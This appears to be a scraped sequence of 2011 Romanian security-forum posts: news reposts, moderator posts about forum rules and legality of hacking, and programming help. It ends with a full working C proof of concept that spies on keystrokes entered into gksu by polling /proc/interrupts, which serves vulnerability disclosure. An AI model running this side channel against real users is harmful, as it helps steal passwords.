Nytro

Disable AutoRun to Stop 50% of Windows Malware Threats According to a biannual Security Intelligence Report from Microsoft, AutoRun—the feature in Windows that automatically executes files when you plug in a USB or connect to a network—accounts for almost half of all malware infections. That's really damn high. To be clear, these are infections that don't require any user-input from you, so it's kind of not your fault that your computer gets infected. By turning off AutoRun, you'll add an extra step to certain tasks, but it's worth it to cut down on malware 50%. What's also interesting in this report is that Windows XP SP3 systems get infected about ten times as much as Windows 7 SP1 64-bit systems, and six times as much vs. 32-bit Windows 7 systems. That alone is one reason why you might want to upgrade your parents' machines to Windows 7. The easiest way to disable AutoRun is to download a free utility like Disable AutoRun or previously mentioned Panda USB Vaccine, run it, and call it a day (these apps are made specifically to turn off AutoRun). On the other hand, if you're comfortable with editing the registry, here's a quick guide to doing it yourself. Disable autorun: http://antivirus.about.com/od/securitytips/ht/autorun.htm USB Vaccine: http://www.pandasecurity.com/homeusers/downloads/usbvaccine/ Sursa: http://lifehacker.com/5858703/disable-autorun-to-stop-50-of-windows-malware-threats

Suricata IDPE 1.1 Site openinfosecfoundation.org Suricata is a network intrusion detection and prevention engine developed by the Open Information Security Foundation and its supporting vendors. The engine is multi-threaded and has native IPv6 support. It's capable of loading existing Snort rules and signatures and supports the Barnyard and Barnyard2 tools. Changes: Performance, accuracy, and stability were improved. Many HTTP rule keywords added. Several SSL keywords have been added. Event suppression support was added. SCTP decoding support was added. IPS mode was improved. An SMTP parser was added. Protocol detection was improved. Extended HTTP output was added. AF_PACKET support was added. PF_RING support was improved. Pcap logging was added. The stream engine was improved. Download: http://packetstormsecurity.org/files/download/106889/suricata-1.1.tar.gz

Postul e prea lung, vorbesc cu kwe. Nu e problema cu postul dublu, in cazul de fata.

1. Nu esti singura persoana care a primit warn pentru asa ceva, dar esti singura care se plange 2. La categoria offtopic se posteaza lucruri care nu au locul intr-o alta categorie, iar topicul tau (chiar nu am idee care) care era o cerere, isi avea locul la categoria Cereri speciala pentru asa ceva. 3. Am mutat topicul pentru a mentine ordinea pe forum, adica fiecare topic sa fie la locul lui, pentru ca oamenii sa stie ce si unde gasesc, nu sa gaseasca discutii despre "Huidu a facut accident" la Programare sau Tutoriale engleza. 4. Daca te uitai la topicurile de la Anunturi, observai ca unul dintre ele specifica motivele pentru care se poate primi avertisment, iar postatul aiurea, intr-o categorie gresita este unul dintre ele 5. Nu imi face placere sa mut topicuri de colo-colo. Da, daca era ceva util multora, cum s-a mai intamplat nu primeai avertisment. Adica am mutat un topic despre programare de la Tutoriale la Programare si chiar am dat "+" celui care a postat pentru ca era ceva util. 6. Daca tot erai pe la offtopic, observai ca am creat vreo 3 threaduri acolo in care specificam in mod explicit ca topicurile la care se cere ajutorul si cererile au categorii speciale si nu trebuie postate acolo. 7. Am inceput sa nu mai tolerez topicurile care nu au legatura cu IT-ul aici si ar trebui sa intelegi de ce. Ar fi cam stupid sa vezi pe aici numai topicuri ca "Am parul aspru si varfurile despicate, ce pot face?" sau alte rahaturi. 8. Eu nu stiu de niciun "orice tip de cereri". E un forum de IT, sa incercam sa pastram continutul de IT, sa nu incepem toti cu probleme personale. Exista 4chan, softpedia si alte forumuri care probabil au categorii speciale pentru orice. Intelegi?

La ce functii te referi? Probabil acele functii se gasesc in "msvcrt.dll" - Microsoft Visual C Runtime, adica un DLL care contine functiile uzuale. Mi s-a parut putin ciudat, dar chiar ieri asta faceam, si am vazut ca un program compilat cu MinGW (portarea compilatorului GCC pe Windows) "leaga" executabilele tot de msvcrt.dll. Nu e nevoie sa fie definite in headere, nu sunt, functiile fac parte din diferite librarii (WinAPI de exemplu - kernel32.dll, user32.dll...) cu care programul tau e legat prin intermediul link-erului. Tu ai nevoie doar de definitia functiei si de librarie, ca sa stie link-erul de unde sa ia functia. Ca idee, functia "connect", cu care conectez un socket la o adresa IP se afla in ws2_32.dll, se include fisierul winsock2.h, dar nu e de ajuns, pentru ca trebuie stiuta si libraria in care se afla, si asta trebuie specificat printr-un parametru la compilator: -l. CodeBlocks are GUI pentru asa ceva, fisierele necesare au extensiile ".lib" sau ".a".

Si daca cineva atinge usor oglinda din greseala?

Lasati prostiile, haideti sa mergem la Hanul Drumetului :->

em, cred ca vrei sa zici: char x = 49; Adica x e codul ASCII al caracterului '1'.

Mexican drug runners torture and decapitate blogger El Mod of social network ritually murdered By John Leyden 10th November 2011 11:31 GMT The moderator of a Mexican social network has been tortured and ritually murdered by local drug lords in the latest cartel-related killing in the country. The victim, identified in an accompanying message as "El Rascatripas" (The Fiddler/Scratcher) was tortured and decapitated before his body was dumped in the early hours of Wednesday morning beside a statue of Christopher Columbus near the Texas border and outside the town of Nuevo Laredo. A blanket placed near the body featured a chilling message, scrawled in ink: "Hi I’m ‘Rascatripas’ and this happened to me because I didn’t understand I shouldn’t post things on social networks." Local reports suggest the man was a moderator on the social network Nuevo Laredo en Vivo. His death brings the death toll of bloggers and social media activists in the town – all apparent victims of the ultra-ruthless Zetas cartel – to four over the last two months. A man and a woman, who was disembowelled beforehand, were found strung from an overpass in the town in mid-September. Less than two weeks later, Nuevo Laredo en Vivo moderator Marisol Macias Castaneda, also known as The Laredo Girl, was decapitated and dumped – like the latest victim – by the Christopher Columbus statue. More details, including a grisly picture of the crime scene, can be found in local media reports here and here. A bloody turf war between the Gulf Cartel (CDG) and their former enforcers, Los Zetas, is at its bloodiest in the states of eastern Tamaulipas, around the northern city of Monterrey and in Tamaulipas (the location of Nuevo Laredo). Some estimates suggest that as many as 40,000 Mexicans had lost their lives as a result of the escalating Mexican drug wars, which have included a terrorist-style attack on a Monterrey casino in August that claimed the lives of 53 people. The April 2011 Tamaulipas massacre, involving the execution of an estimated 190-plus abducted bus passengers, and the Monterrey casino attack had both been blamed on the Zetas. Wired reports that locals are using social media tools to carry real-time reporting of firefights between drug runners and local police and cartel checkpoints on the region's dangerous roads as well as criticism of local drug lords. Drug cartels, in particular the Zetas, take a ruthless line on those reporting their activities online, treating them as snitches and murdering them as a grisly warning to others. Recent plans by a faction of Anonymous to release details of associates of Los Zetas were abandoned last weekend amid confusion over whether the alleged kidnapping of a member of the activists collective, the incident that provoked OpCartel, had ever actually taken place. Sursa: http://www.theregister.co.uk/2011/11/10/narco_blogger_murdered/

Daca deschizi cmd cu "Run as Administrator" e la fel? Zic asta pentru ca m-am chinuit si eu ore sa inteleg un cod valid care nu mergea pentru ca trebuia rulat ca Administrator... PS: Posteaza codul sursa daca poti, eu as fi interesat sa ma uit peste el.

C:\Windows>telnet www.rstcenter.com 80 GET / HTTP/1.1 Host: www.rstcenter.com HTTP/1.1 200 OK Server: LBA T2900 LINUX SECURITY GROUP Date: Thu, 10 Nov 2011 15:34:28 GMT Content-Type: text/html Connection: keep-alive Last-Modified: Wed, 03 Nov 2010 23:06:25 GMT ETag: "759ff-27-4942e172bde40" Accept-Ranges: bytes Content-Length: 39 Cache-Control: max-age=7200 Expires: Thu, 10 Nov 2011 17:34:28 GMT <img src="stfu.jpg" alt="" title="" /> Connection to host lost. C:\Windows> Asta e fara browser.

Eu ma gandesc in primul rand la mine, normal. Si ma intreb: "Ce am facut eu rau sa vrea garda sa ma ia?", si nu imi trece absolut nimic prin cap. Deci nu am niciun stres si la fel sunt si 96% (sa zicem) dintre cei de aici. Apoi, daca ma gandesc putin, imi dau seama ca din posturile mele reies multe lucruri: numele si prenumele, liceul la care am fost, facultatea la care sunt si altele. Pe un forum de "trading", unde se faceau tranzactii de milioane de dolari (carduri si alte lucruri nasoale) cica se infiltrase un agent FBI, activase mult timp si chiar ajunsese administrator ceva si dintr-o data au saltat o mare parte dintre ei. Dar acolo era vorba de bani, nu de conturi filelist date pe 1 euro credit cum se face aici. Ce-i drept vazusem intr-o zi un IP de STS pe aici, dar sunt si ei oameni, practic tot ca noi, care poate mai gasesc cine stie ce informatii utile aici, nu prea cred ca "spioneaza" pe cineva pentru ca, sa fim seriosi, chiar nu au pe cine (v-am ranit orgoliile de hackeri nu?).

Computerized Prison doors hacked with vulnerabilities used by Stuxnet worm Security holes in the computer systems of federal prisons in the United States can effectively allow hackers to trigger a jailbreak by remote control. The discovery of the Stuxnet worm has alerted governments around the world about the possibility of industrial control systems being targeted by hackers. A team of researchers with John Strauchs, Tiffany Rad and Teague Newman presented their findings at a recent security conference. They said the project wasn't really all that difficult -- it just took a little time, some equipment bought online and a basement workspace. The idea for the research came about from work that Strauchs had done previously. "I designed a maximum security prison security system. That is, I did the engineering quite a few years ago and literally on Christmas Eve, the warden of that prison after it was occupied, called me and told me all the doors had popped open, including on death row, which of course sent chills down my spine. So we fixed that problem very quickly. It was a minor technical thing that had to do with the equipment used, but the gist of it was it made me think if that could be done accidentally, what was the extent of what you could do if you did it deliberately?" The security systems in most American prisons are run by special computer equipment called industrial control systems, or ICS. They are also used to control power plants, water treatment facilities and other critical national infrastructure. ICS has increasingly been targeted by hackers because an attack on one such system successfully sabotaged Iran’s nuclear program in 2009.A malicious cyber-intruder could “destroy the doors,” by overloading the electrical system that controls them, locking them permanently open, said Mr. Strauchs, now a consultant who has designed security systems for dozens of state and federal prisons. The U.S. Department of Homeland Security has confirmed the validity of their results and the researchers have already demonstrated the attack to federal and state Bureaus of Prisons and a number of federal agencies. Sursa: http://thehackernews.com/2011/11/computerized-prison-doors-hacked-with.html

Da, nici eu nu vreau sa dau 8-10 lei pe o bere.

Am scos imaginea de la semnatura, ar trebui sa fie ok acum.

Ca idee, da, se poate face si pscarie pentru multe lucruri. Cam totul poarta numele de "Acces neautorizat" si nu e legal. Iar legea specifica faptul ca nu ai acces undeva chiar daca ai username si parola (nu conteaza cum obtinute - SQLI sau altceva) cat timp persoana respectiva nu ti-a oferit acordul sa le folosesti. Acum depinde cu cine esti in conflict, cu ce firma, unele pot sa te dea in judecata.

Da, cine stie cineva are un reverse_tcp pe IP-ul vostru chiar in acest moment...

Nu neaparat. Daca vrei sa ai succes in domeniu si sa lucrezi la o firma mare, iti faci publice niste date: numele si adresa de mail. Astfel vei putea intra in contact cu diverse companii si ai sanse mari sa lucrezi intr-un domeniu care iti place. Daca tot ce stie "lumea" despre tine este faptul ca esti "l34k" nu ai facut mare lucru. Pe scurt, e chiar invers: ideea este SA FII "prins". Cat despre meeting, stati linistiti, garantez ca nu prea o sa se vorbeasca chestii tehnice, o sa o dam in cine stie ce discutii stupide.

De ce sa fim filati? Pentru ca "x" gasesti un SQLI in site-ul lui "y"? Cui ii pasa ca cineva a facut deface la rGaming.ro in afara proprietarului acestui site? O sa vina politia sa il caute pe cel care a facut-o? De ce ar face asta? Nu inteleg aceasta paranoia, sa gasesti un SQLI nu e deloc complicat, sunt zeci de mii de persoane care o pot face, deci daca gasesti unul si faci cine stie ce, nu esti tocmai un "badass", un pericol public, un urmarit general al politiei. Zic SQLInjection pentru ca in ziua de azi la asta s-a ajuns: cine stie SQLI, sparge un site de cacat, gata, e hacker in ochii presei, in ochii tuturor. La fel si ratatii de la lulzec si Anonymous, cica "hackeri"... Dar cei care au scris, de placere practic, mii de linii de cod la kernelul de Linux care e gratuit ce sunt? HD Moore care ofera metasploit gratis (bine, inainte de Rapid7) ce e? Muts (Mati Ahroni) si Backtrack-ul, fyodor si n_map...? Si exemplele pot continua. Si da, sunt persoane publice, cunoscute de milioane de oameni poate si uite ca nu sunt la puscarie si nu le e frica de asta. Dar lui "1337Hax0r" de pe RST care a gasit SQLI in www.nea-gigi.hostgratis.com.ro.plm ii e frica... E absurd. Te poate cauta politia pentru: - SQL Injection - daca gasesti la banci, paypal si poate extragi ceva date, sau la diverse companii guvernamentale care au informatii confidentiale in baza de date - Phishing sau Scam - adica pentru tentativa de furt informational. Nu, nu pentru phishing la Yahoo ca vrei parola prietenei, ci pentru phishing la banci - Carding - imparti diverse informatii legate de conturi bancare care nu iti apartin Cam astea ar fi ideile. Daca ar fi sa facem o analogie cu RST, NU aveti voie cu astfel de rahaturi aici, acele rahaturi nu va fac hackeri ci HOTI. E o mare diferenta, foarte putin inteleasa de publicul general.

Super. Ma intreb cine a descoperit asta, daca exista un POC, daca se poate exploata, sau daca a fost folosita pe o scara larga...

Microsoft Visual Studio 11 Developer Preview Visual Studio 11 Developer Preview is an integrated development environment that seamlessly spans the entire life cycle of software creation, including architecture, user interface design, code creation, code insight and analysis, code deployment, testing, and validation. Overview Visual Studio 11 Developer Preview is an integrated development environment that seamlessly spans the entire life cycle of software creation, including architecture, user interface design, code creation, code insight and analysis, code deployment, testing, and validation. This release adds support for the most advanced Microsoft platforms, including the next version of Windows (code-named "Windows 8") and Windows Azure, and enables you to target platforms across devices, services, and the cloud. Integration with Team Foundation Server allows the entire team, from the customer to the developer, to build scalable and high-quality applications to exacting standards and requirements. Visual Studio 11 Developer Preview is prerelease software and should not be used in production scenarios. This preview enables you to test updates and improvements made since Visual Studio 2010, including the following: Support for the most advanced platforms from Microsoft, including Windows 8 and Windows Azure, as well as a host of language enhancements. New features such as code clone detection, code review workflow, enhanced unit testing, lightweight requirements, production IntelliTrace exploratory testing, and fast context switching. This preview can be installed to run side by side with an existing Visual Studio 2010 installation. The preview provides an opportunity for developers to use the software and provide feedback before the final release. To provide feedback, please visit the Microsoft Connect website. The .NET Framework 4.5 Developer Preview is also installed as part of Visual Studio 11 Developer Preview. Note: This prerelease software will expire on June 30, 2012. To continue using Visual Studio 11 after that date, you will have to install a later version of the software. In order to develop Metro style applications, the Visual Studio 11 Developer Preview must be installed on the Windows Developer Preview with developer tools English, 64-bit. Developing Metro style applications on other Preview versions of Windows 8 is not supported. Download: http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=27543

E vechi, nu mai e functional probabil...

Voi nu intelegeti urmatoarele lucruri: 1) NU e nicio placere sa dai ban cuiva, sau avertisment, e doar putin timp pierdut pentru a mentine ordinea pe forum. 2) NU se dau avertismente sau banuri fara motiv. Noi frecventam forumul si in general stim membrii forumului, stim cat au contribuit la forum si luam decizii in functie de posturile persoanei respective. De exemplu, pentru mine conteaza foarte mult posturile utile (tehnice) ale membrilor si sunt indulgent cu persoanele care contribuie la forum. 3) NU avem nimic de castigat din faptul ca suntem moderatori, eu fac asta pentru ca imi place RST si vreau sa fie "curat", dar nu castig nimic daca ii dau warn/ban lui Vasile pentru ca l-a injurat pe Gheorghe. Legat de acest topic, e util dar discutabil. In general nu se dau banuri decat daca e strict necesar, se dau avertismente de obicei. Daca aveti o problema cu cineva care va da avertisment, discutati cu moderatorul respectiv pe PM. Nu se rezolva, discutati cu mine sau cu un alt administrator. Si eu am dat un avertisment, si dupa o scurta conversatie pe PM mi-am dat seama ca am gresit si am retras acel avertisment.

Unul singur e de ajuns: http://twitter.com/#!/poyovl/following Am adaugat la Follow numai persoane din "domeniu". Pune-i pe toti la Follow.

A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1 /* * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1. * * The file /proc/interrupts is world readable. It contains information * about how many interrupts were emitted since the system boot. We may loop * on one CPU core while the victim is executed on another, and learn the length * of victim's passord via monitoring emitted interrupts' counters of the keyboard * interrupt. The PoC counts only keystrokes number, but it can be easily extended * to note the delays between the keystrokes and do the statistical analysis to * learn the precise input characters. * * The limitations: * - it works on 2-core CPUs only. * - it works on 1-keyboard systems only. * - it doesn't carefully count the first and last keystrokes (e.g. ENTER after * the password input). * - it doesn't carefully filter keystrokes after ENTER. * * by segoon from Openwall * * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu * * P.S. The harm of 0444 /proc/interrupts is known for a long time, but I * was told about this specific attack vector by Tavis Ormandy just after similar * PoC spy-sched was published. */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <string.h> int i8042_number; int ints[1024], ints_prev[1024], ints_delta[1024]; char buffer[1024]; int reread_ints(int *interrupts, int int_count, char **names) { int i; int n, c1, c2; char s1[1024], s2[1024]; int interrupts_fd; FILE *interrupts_file; interrupts_fd = open("/proc/interrupts", O_RDONLY); if (interrupts_fd == -1) err(1, "open(\"/proc/interrupts\")"); interrupts_file = fdopen(interrupts_fd, "r"); if (interrupts_file == NULL) err(1, "fdopen"); if (fseek(interrupts_file, 0, SEEK_SET) < 0) err(1, "lseek"); fgets(buffer, sizeof(buffer), interrupts_file); for (i = 0; i < int_count; i++) { if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) { fclose(interrupts_file); return i; } if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) { fclose(interrupts_file); return i; } if (names != NULL && names[i] == NULL) names[i] = strdup(s2); interrupts[i] = c1 + c2; } fclose(interrupts_file); return int_count; } void init_i8042_number(void) { int i; int can_be_keyboard[1024]; char *names[1024]; int number_of_interrups, can_be_keyboard_numbers; number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names); /* * Identify the i8042 interrupt associated with the keyboard by: * 1) name should be i8042 * 2) interrupts count emitted in one second shouldn't be more than 100 */ for (i = 0; i < number_of_interrups; i++) can_be_keyboard[i] = strcmp(names[i], "i8042") == 0; while (1) { sleep(1); reread_ints(ints, sizeof(ints), NULL); can_be_keyboard_numbers = 0; for (i = 0; i < number_of_interrups; i++) { can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100; if (can_be_keyboard[i]) can_be_keyboard_numbers++; ints_prev[i] = ints[i]; } if (can_be_keyboard_numbers == 1) { for (i = 0; i < number_of_interrups; i++) if (can_be_keyboard[i]) { i8042_number = i; printf("i8042 keyboard is #%d\n", i); return; } } } } int i8042_read(void) { reread_ints(ints, sizeof(ints), NULL); ints_prev[i8042_number] = ints[i8042_number]; return ints[i8042_number]; } int wait_for_program(char *pname) { FILE *f; int pid; char s[1024]; snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;" " sleep 0.1; done", pname); system(s); snprintf(s, sizeof(s), "pgrep %s", pname); f = popen(s, "r"); if (f == NULL) err(1, "popen"); if (fgets(buffer, sizeof(buffer), f) == NULL) err(1, "fgets"); if (sscanf(buffer, "%d", &pid) < 1) err(1, "sscanf"); pclose(f); return pid; } int main(int argc, char *argv[]) { int n, old, sum, i; int pid; char *pname = argv[1]; if (argc < 2) errx(1, "usage: spy-interrupts gksu"); puts("Waiting for mouse activity..."); init_i8042_number(); pid = wait_for_program(pname); printf("%s is %d\n", pname, pid); old = i8042_read(); sum = 0; while (1) { n = i8042_read(); if (old == n) usleep(10000); else { for (i = 0; i < n-old; i++) putchar('.'); fflush(stdout); } sum += n - old; old = n; if (kill(pid, 0) < 0 && errno == ESRCH) break; } /* * #interrupts == 2 * #keystrokes. * #keystrokes = len(password) - 1 because of ENTER after the password. */ printf("\n%d keystrokes\n", (sum-2)/2); return 0; } Sursa: /proc/interrupts PoC: spy-interrupts